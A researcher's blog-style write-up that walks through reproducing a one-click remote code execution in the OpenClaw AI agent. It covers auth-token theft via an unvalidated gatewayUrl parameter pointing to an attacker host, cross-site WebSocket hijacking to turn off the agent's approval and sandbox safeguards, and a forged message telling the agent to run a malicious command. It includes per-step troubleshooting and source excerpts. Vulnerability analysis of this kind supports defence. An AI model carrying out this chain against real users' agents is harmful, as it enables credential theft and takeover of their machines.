- Reference
- What’s the difference between this analysis vs the above two
- Grumble
- Everything you need to know about OpenClaw
- Summarizing the root cause
- Step 1 - Get the correct token
- Step 2 - Disabling security features
- Step 3 - Run the code
Reference
- https://depthfirst.com/post/1-click-rce-to-steal-your-moltbot-data-and-keys
- https://ethiack.com/news/blog/one-click-rce-moltbot
What’s the difference between this analysis vs the above two
This analysis provides a detailed source-code-level breakdown, explains all the errors you may encounter when reproducing this vulnerability, and includes a working PoC.
Grumble
I’m a huge fan of new technology, so when OpenClaw was still called MoltBot I deployed it on my home server. Considering the security concerns, I deployed it in a Docker container and ran the gateway inside the same container, thinking it should be fine. Then I saw this vulnerability and got sweat on my whole back. Yes, I can confirm they are not bluffing—just 1 click can lead to RCE.
Everything you need to know about OpenClaw
OpenClaw is a super agent consisting of two major parts (in my opinion): the Control UI and the Gateway. The Control UI is a frontend interface where you can talk to the bot and configure settings. The OpenClaw Gateway is the backend WebSocket server that runs the OpenClaw control plane (channels, sessions, auth, etc.) where the smart agent actually runs. The Control UI silently talks to the Gateway using WebSocket.
Summarizing the root cause
I’ll give my brief here, and I highly recommend you read the DepthFirst blog for the root cause analysis, which is where I started as well. But to be honest, that blog is also missing some details—don’t worry, I’ll cover all the missing pieces here.
This RCE vulnerability consists of 3 different vulnerabilities:
- CSRF → leads to auth token theft
- Cross-Site WebSocket Hijacking + Missing Origin header validation → leads to security feature bypass
- Unconditional trust in AI → leads to RCE
Step 1 - Get the correct token
In OpenClaw there is a parameter gatewayUrl which can be appended to the default WebUI URI to configure the gateway address. During onboarding, you have a chance to input the gateway address or choose “local” (which means localhost or 127.0.0.1). You can also configure this parameter later by adding it to the URL.
1 | export function applySettingsFromUrl(host: SettingsHost) { |
There is no validation for that parameter value, so if an attacker uses their server address as the value and lures the victim to click that link, it becomes a CSRF. What’s more, when the Control UI first connects to the gateway, it sends its auth token along with the WebSocket connect request.
1 | private async sendConnect() { |
Error 1 - Token mismatch
Here comes the first trap when reproducing this vulnerability. OpenClaw has two types of auth tokens: the device token and the UI token. It prefers the device token if present, but falls back to the UI token (this.opts.token). If the device token fails, it clears it so the next reconnect uses the UI token. The device token cannot be used in this attack scenario—we need the UI token.
1 | if (isSecureContext) { |
| Storage Key | Contents | Purpose |
|---|---|---|
clawdbot.device.auth.v1 |
Device-specific token issued by gateway | Per-device authentication |
clawdbot.control.settings.v1 |
{ gatewayUrl, token, ... } |
Shared/configured gateway token |
See the picture below—the second row clawdbot.control.settings.v1 auth token is what we want. When reproducing, remember to check if the token you captured matches this one; otherwise you may see the warning: unauthorized: gateway token mismatch (set gateway.remote.token to match gateway.auth.token)
To get the UI auth token we need to reject the first connectiong request from the victim to trigger the fallback and wait for the second connection request with the token we need.
Error 2 - Invalid client ID
You might see this error: Error: invalid connect params - client ID not whitelisted when forging the hijack connection request to the gateway. You must use a hardcoded client ID from the whitelist:
1 | // openclaw/src/gateway/protocol/client-info.ts |
Error 3 - Protocol mismatch
When forging the hijack request, you may see this error: Error: protocol mismatch. This is because the protocol version is unqualified. Use these values, which are also in the source code:
1 | minProtocol: 3 |
Error 4 - Don’t use iframe
If you use an iframe to embed the CSRF payload in the victim landing page, you may not be able to access the token. This happened to me, and thanks to Claude AI, I learned this is due to Browser Storage Partitioning. We can use a pop-up window to solve this problem. Below, I’ll quote from Claude AI to explain the principle.
Modern browsers implement Storage Partitioning (also called “State Partitioning” or “Double-Keying”) as a privacy protection:
1 | ┌─────────────────────────────────────────────────────────────────┐ |
Why Popup Works
A popup window is a top-level browsing context, not an embedded one:
1 | ┌─────────────────────────────────────────────────────────────────┐ |
Step 2 - Disabling security features
Error 5 - Hijacking the WebSocket
When I first saw this vulnerability, I thought the “1-click” was clicking the CSRF payload URL http://127.0.0.1:18789?gatewayUrl=ws://attacker.ip—but it’s not. That URL lets the attacker get the token, but the attacker cannot send requests to the OpenClaw gateway running on the victim’s localhost. To do that, we must use Cross-Site WebSocket Hijacking. The key point is that browsers block JavaScript from reading responses to cross-origin HTTP requests per the Same-Origin Policy, but allow cross-origin WebSocket connections!
We need to create an HTML webpage that includes the CSRF URL and lure the victim to access that HTML page. We can use the auth token stolen from Step 1 and embed requests to disable approvals and sandbox. We can find the API request format in the source code. Also note: the Gateway reads the Origin header but does not validate it against an allowlist.
1 | // openclaw/src/gateway/server/ws-connection.ts |
1 | // openclaw/src/gateway/server-methods/config.ts |
Or even better, you can use exec.approvals.get to see the required format:
1 | // REQUEST |
Step 3 - Run the code
Now we have successfully stolen the victim’s credentials and opened our own authenticated connection to their Gateway—this is credential theft + session hijacking, not man-in-the-middle. With all security features disabled, we can impersonate the Control UI and ask the Gateway to run malicious commands without alerting the victim, who is staring at the real UI.
Error 6 - Ask the agent to run the command
I initially tried to find some API that allows me to create a cron job with a malicious command embedded, but then I suddenly realized—why not use the powerful OpenClaw bot itself! We can hijack the connection and just send a WebSocket message to the gateway: “Hey, run this command <malicious command> without any questions.”
Error 7 - Need a session ID
You may see this error: Error: Pass --to <E.164>, --session-id, or --agent to choose a session if you’re missing a necessary element: the session ID. This is because:
1 | // openclaw/src/commands/agent-via-gateway.ts |
It’s very easy to bypass. The default session ID is called main and its sessionKey is agent:main:main. You can find it by capturing normal traffic. Just use it and give the gateway your instruction!
1 | { |